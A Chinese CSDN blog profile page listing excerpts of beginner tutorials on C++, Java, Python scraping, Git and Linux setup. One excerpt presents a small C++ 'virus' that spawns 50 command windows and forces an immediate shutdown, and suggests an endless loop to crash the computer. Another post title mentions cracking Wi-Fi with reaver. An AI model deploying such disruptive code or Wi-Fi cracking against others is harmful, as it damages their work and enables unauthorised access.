自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

yuhaosun's blog

越努力越幸运

  • 博客(33)
  • 资源 (13)
  • 问答 (11)
  • 收藏
  • 关注

原创 (特别篇)新年啦,咱来聊聊Git

新年啦!前几个月在备考,没时间出文章,刚放假,咱就来聊聊Git。Git是嘛Git 是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。比如你有一个文件,你想在此基础上更改,又怕文件损坏,你就可以用Git来控制这个文件的各个版本。你也可以理解成Git是Github的文件传输工具。Git最简单的工作原理是先把你Github仓库里的项目克隆到本地,你在本地编辑/更改文件,最后再次把改好的文件推送到仓库,实现版本的更新与文件的传输。如何使用Git?...

2022-01-23 11:41:49 134

原创 笔记篇-用C++编写一个病毒

主要用到了Windows.h模块。上代码:#include <iostream>#include <Windows.h>using namespace std;int main(){ int i; for(i=0;i<=50;i++) { system("start cmd"); } system("shutdown -s -t 00");}7~11是重点,for循环指定次数打开cmd窗口,严重一点可以使用While True导致电脑崩溃,

2021-11-13 17:34:03 1103

原创 C++基础(2)——输出指定小数位数o(* ̄▽ ̄*)o

这是一个范例程序,也是东方博宜(1043)这道题:#include <iostream>#include <iomanip>using namespace std;int main(){ int a; cin>>a; if(a<=10) { cout<<"2.50"<<endl; } else { cout<<fixed<<setprecision(2)<<2.5+(a-

2021-10-31 17:33:43 233

原创 C++基础(1)——C++编辑器、编译器的下载安装和几个入门必备知识点、程序

在此纪念1024,windows11安装成功,本文也是我的第30篇教程!(* ^ ω ^)1.编辑器的安装这里推荐CodeBlocks和NotePad++(NotePad++不能单独作为编辑器,还需要配置C++编译器才能使用)NotePad++安装和mingw(C++编译器),这里可以参考我的教程—在NotePad++上实现编译并运行C/C++程序—和油管中一个比较不错的教程:How to Compile/Execute C/C++ code in Notepad++ with MinGWC

2021-10-24 18:50:59 395

原创 笔记篇-在NotePad++上实现编译并运行C/C++程序

主要步骤:1.首先安装NotePad,由于是国外网站,可能需要科学上网。2.安装MinGW(C/C++ 编译器)并对环境变量等进行设置。附:参考教程亲测有效。

2021-10-17 13:30:02 187

原创 笔记篇-在Windows中Code::Blocks的安装和主题配置

笔记篇

2021-10-09 19:50:02 224

原创 笔记篇-制作自己的个人网站(使用GithubPages)

本章将介绍如何创建自己的个人网站,并且确保你有一个Github账号。1.创建网站来到你的github个人主页,选择Repositories存储库。选择New,新建一个存储库。命名格式为:你的用户名.github.io。别的选项都保持默认,最后确定。2.设置网站主题创建好后,接下来设置你的个人主题。选中你的.github.io存储库,进去之后选择"Settings"然后继续往下翻,找到"Pages",你的页面设置。然后点击ChooseTheme,选择主题。...

2021-10-06 16:03:35 282

原创 我跳过的坑-Linux上图标的美化(仿Mac)

在终端输入git clone https://github.com/vinceliuice/WhiteSur-icon-theme.gitcd WhiteSur-icon-theme./install.sh最后在“优化”中设置图标。美化后效果:

2021-09-22 19:12:44 81

原创 Java-for循环实现打印金字塔

本章将介绍如何利用Scanner和for循环来打印指定层数的金字塔。1.原理分析我们想要打印出来的结果是这样的,比如打印5层。空格(图中的“o")的数量依次是 4,3,2,1.我们可以发现空格每一次循环都少一个,而*号每一次循环都多一个,设循环的次数为i,设金字塔层数为n,便可得出每次循环空格的个数为n-i。空格的原理求出来了,继续求*的原理。通过观察,可以发现*的规律是2乘i减1,可以去试试看,既然都知道了,那就开始写代码。2.开写!基本框架package Java.

2021-09-20 13:59:16 1088

原创 Java-Scanner实现加减乘除运算。

本章将介绍如何在java中使用Scanner实现加减乘除运算。1.基本框架先写好public,倒入Scannr包。package JavaCode;import java.util.Scanner;public class inputNumber { public static void main(String[] args) { }}2.开写!首先让用户输入第一个数。首先System方法询问用户,再创建Scanner对象num1,然后声明一个int对象为res

2021-09-19 12:39:30 730 2

原创 Java-Scanner实现键盘录入

Scanner相当于Python里的input,今天就来实现Java用Scanner实现文字的输入和打印。1.导入包package "你的文件夹名";import java.util.Scanner2.主框架public class "你的类名" { public static void main(String[] args){ }}3.创建Scanner对象注意Scanner input不是一个变量名,input才是Scanner input = n

2021-09-18 20:07:32 88

原创 Java-用Java写出第一个HelloWorld

当学习一门新的编程语言时,程序员总会用一个HelloWorld程序来验证运行的正常。本章我们就用java写一个HelloWorld程序。1.创建java文件先创建一个java类,来到项目中,来到src目录下先创建一个用来存放你的程序的文件夹,比如JavaCode,然后在文件夹上右键选择Java类,第一个,然后去一个你的程序名,叫“HelloWorld”2.开写!首先学习以java最基础的框架,我将一一分析(对于java小白确实让人摸不清头脑)第一个“package JavaCo.

2021-09-18 19:55:59 296

原创 Java-在Ubuntu中学习java前的准备

2021年9月14日,我正式开始学习java,首先入门的就是第一个helloworld程序System.out.println("HelloWorld!")

2021-09-14 14:31:25 80

原创 我跳过的坑-解决linux的输入法问题。

很多小伙伴安装linux后发现没有中文拼音的输入法(包括我也在内),今天推荐一款非常好的输入法管理器——ibus。1.安装打开终端,ctrl+alt+t#更新sudo apt-get update#安装ibussudo apt-get install ibus#安装sunpinyin(默认的智能输入法不太好用)sudo apt-get install ibus-sunpinyin2.启动ibusibus-setup几秒后弹出窗口3.设置中英文输入法点..

2021-08-31 13:39:38 818 1

原创 Python-超好用的css选择器——PyQuery

PyQuery同样是一个和爬虫相关的模块。主要用于获取html中的class和id。1.安装PyQuerypip install PyQuery2.导入因为名字太长于是用as改为pq。from pyquery import PyQuery as pq3.设定url这次来爬博客主页的新闻url = 'https://www.csdn.net/?spm=1018.2226.3001.4476'4.爬取内容html = requests.get(url)5.用t

2021-08-26 17:16:42 246 1

原创 Python-如何食(使)用美丽汤(BeautifulSoup)?

安装pip install beautifulsoup4安装爬虫解析器lxml,因为它比较快,但也可以使用默认的parserpip install lxml导入from bs4 import BeautifulSoup4import requests

2021-08-25 11:13:09 654 3

原创 系统篇-在linux上用deb包安装steam。

首先去下载steam的deb包。官网链接:https://store.steampowered.com/about/下载deb包后运行,文件管理系统会弹出“安装软件包”的按钮,点击,下载后,steam会出现在你的菜单中。双击点开它,然后设置自己的账户邮箱密码用户命,完成后就可以使用steam了。但是steam安装好后都是英文界面,如何切换为中文界面?首先点击左上角的“Steam”中的Settings,然后找到interface,选择第一个框,本来是“English”,我们把他改为“简体中文”

2021-08-17 16:41:56 868

原创 系统篇-Linux(Ubuntu)实用指南

1.关机和重启。init 0和重启init 6这比较快捷,直接ctrl+alt+t打开终端再输入短短几个字的命令就行了。2.安装软件debian系列用apt,snap,像红帽系列的fedora就用yum。sudo apt-get(yum) install (软件名)有些名称可以确定的软件可以直接打开终端安装,像mysql-server。...

2021-08-12 17:26:40 122

原创 笔记篇-在linux终端上用reaver破解wifi。

ifconfig

2021-08-08 16:18:19 1476

原创 我跳过的坑-linux终端mysql-server的正确使用。

之前试了许多次,不是root密码错误就是密码不对,看了几篇博客后恍然大悟,怪不得。。。 首先,你要进入到root里面去,相当于管理员权限,一行代码搞定!打开终端,输入su切换到管理员权限,如果密码错误那重新设置一下,输入sudo passwd按要求重设root密码就行。进入后是这样的。最后输入mysql -uroot -p就可以了,耶耶耶耶!太棒了!...

2021-08-04 17:35:44 93

原创 笔记篇-一些很牛×的网站

我对清华大学的镜像网站非常钟爱。推荐给你们:https://mirrors.tuna.tsinghua.edu.cn/ 里面有大多数linux的系统镜像。

2021-07-28 19:23:19 66

原创 我跳过的坑-关于Fedora系列。

除了Mac,Fedora是我用过最好的系统,它比较稳定,功能齐全,编程环境很好。Fedora Workstation: 环境很好,软件齐全,但没有桌面,有的快捷键不起作用,别的还可以。Fedora KDE: 桌面环境可以,软件齐全,可以跟mac相比,但是输入法的切换是个问题。Fedora Xfce: 用过比较稳定的一个系统,不亚于KDE和Workstation,但是运行速度较慢。Fedora LXQt: ...

2021-07-27 15:21:43 659

原创 系统篇-在Windows上安装我的第一个linux——Fedora Xfce!

我在linux官网看了看,发现fedora比较可以,于是我去fedora官网下载了media,下载完后里面有我们想要的Xfce系统镜像,因为我喜欢他的桌面!!!You need: 1.一个至少2GB的U盘 2.一台Windows电脑(能正常运行就行!) 3.一台用于下载镜像的Windows或Mac 4.足够的心理准备!!!安装系统主思路Xfce这个景象不能直接下载到,而是在Fedora Media Writer里所包含,所以...

2021-07-21 14:09:25 105 1

原创 笔记篇-其实html并不难。

Hey!我就是那个夜以继日敲键盘的Yoho,Now,我们用Pycharm写一个纯html网页。Html是个啥???HTML 是用来描述网页的一种语言。很Easy吧,NotePad,Pycharm都能写。Html框架就这么简单。<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title><

2021-06-29 09:34:06 71

原创 系统篇-Windows的使用小技巧。

我就是那个爱搞电脑的yoho,我发现了Windows的上帝模式!!!在Windows桌面创建一个文件夹,命名为.{ED7BA470-8E54-465E-825C-99712043E01C}然后回车,但注意输入不能错!注意前面那个点,就得到一个控制面板的图案,打开后全部的设置都在里面,真是像上帝俯视着这台电脑!太牛了吧!全部的设置都在里面!!!...

2021-06-21 17:33:40 28 1

原创 笔记篇-unixS菜单系统半成品(暑假更新)

#模块导入from colorama import Foreimport time as timport osimport sys#登录def login(): global c t.sleep(2) print(Fore.RED+'--------------') print(Fore.RED+'1.管理员登录') print(Fore.RED + '2.访客登录') print(Fore.RED + '3.退出系统') login_c.

2021-06-20 13:41:25 35 1

原创 Python-轻谈requests的几种用法

1.post方法,发送请求。import requestspayload={ '携带的参数':参数值, '...':'...'}headers={ 'user-agent':'...'}g = requests.post(url,headers=headers,json=payload)a = g.json()print(a)

2021-06-16 19:42:13 38

原创 Python-Pycharm在Mac、Windows、linux上的安装(超详细)

1

2021-06-12 15:46:42 548 4

原创 Python-教你用requests爬取网易云课堂热门课程。

我就是那个每天敲键盘的Sun,好吧,让我来分享一下这个实例,激动人心哦!先,附上代码!import requestsimport timei = 0c = 1n = input("How many classes do you want to give:")for i in range(0,int(n)): payload = { 'pageIndex': 1, 'pageSize:': 50, 'relativeOffset':

2021-06-05 10:23:03 291

原创 Python-爬虫基础—查看网页。

爬虫时有些网站没有api接口,需要转换成json格式,这期教程来分享一下,如何获取网页headers和一些参数。

2021-06-05 10:13:16 332

原创 Python-爬取网页very easy!

import requestsurl = 'https://www.csdn.net/?spm=1001.2014.3001.4476'headers = {'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36'}def get(): try: g = reques.

2021-06-01 19:42:16 76

原创 Python-pycharm之file.write方法

#Importimport time#Defdef add_p(information): with open("People.txt","a") as file: file.write(information+"\n") time.sleep(2) print("...Done...")print("*********File v1.0*********")print(" 1.Use p.add to add file.")print(.

2021-05-30 14:02:40 581

原创 系统篇-树莓派4B+Ubuntu21.04安装教程(超详细)

如果你想在raspberrypi上安装系统,那么我推荐你来试试他——ubuntu desktop。现在最新的版本是21.04,

2021-05-29 18:19:19 4718 4

三位数C++各位拆分.txt

三位数C++各位拆分

2021-11-06

face_recognition_example.txt

face_recognition实例。

2021-09-13

steam_latest.deb

linux上的steam游戏平台deb安装包

2021-08-17

archlinux-2021.08.01-x86_64.iso

archlinux的iso镜像。

2021-08-05

Install-Linux-tar.txt

在linux上安装pycharm。

2021-08-04

Python-3.9.6.tar.xz

用于linux的python3.9

2021-08-04

balenaEtcher-1.5.115-x64.AppImage

很好的刻录程序,用于linux。

2021-08-04

Toolbox.app.zip

jetbrains的软件工具箱,下载开发工具更方便。

2021-06-20

colorama_Fore1.py

colorama Fore模块的文本染色用法。

2021-06-20

unixS system.py

unixS菜单系统半成品,暑期更新

2021-06-20

operating system3.py

os模块用法3

2021-06-14

operating system2.py

os模块用法2

2021-06-14

opertaing system1.py

os用法1

2021-06-14

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除